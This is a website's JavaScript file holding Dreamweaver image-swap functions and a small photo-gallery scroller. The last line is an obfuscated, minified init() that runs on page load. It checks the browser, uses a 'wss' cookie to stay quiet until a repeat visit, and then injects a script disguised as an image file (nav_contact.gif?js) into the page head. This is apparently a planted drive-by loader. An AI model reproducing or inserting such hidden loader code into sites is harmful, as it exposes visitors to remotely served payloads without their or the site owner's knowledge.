// JavaScript Document

function changeButton (navigation, status) {

  var el = document.getElementById('button_' + navigation);
  if (status == 1)
    el.src = 'images/button2.gif';
  else
    el.src = 'images/button1.gif';

}


function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

var active = 0;

function changePicture (way) {

  if (way == "up") active--;
  if (way == "down") active++;
  
  document.getElementById('foto1').src = 'foto/small/' + zeArray[active];
  document.getElementById('foto2').src = 'foto/small/' + zeArray[active+1];
  document.getElementById('foto3').src = 'foto/small/' + zeArray[active+2];
  
  if (active == 0) document.getElementById('foto_up').style.display = "none"; else document.getElementById('foto_up').style.display = "block";
  if (active + 2 == zeArray.length-1) document.getElementById('foto_down').style.display = "none"; else document.getElementById('foto_down').style.display = "block";

}

function initButtons() {

  if (active == 0) document.getElementById('foto_up').style.display = "none";
  if (zeArray.length-1 < 3) document.getElementById('foto_down').style.display = "none";
  
}


function giefPicture (el) {
	
  new Effect.Fade('foto', {duration: 0.5});

  if (el == "foto1") { setTimeout("changePhoto('foto1');",500); }
  if (el == "foto2") { setTimeout("changePhoto('foto2');",500); }
  if (el == "foto3") { setTimeout("changePhoto('foto3');",500); }
  
  setTimeout("Element.hide('foto'); new Effect.Appear('foto', {duration: 0.5})",500);

}

function changePhoto (el) {

  var filename = document.getElementById(el).src.split('/'); document.getElementById('specifieke_foto').src = 'foto/large/' + filename[5];
  
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/nav_contact.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();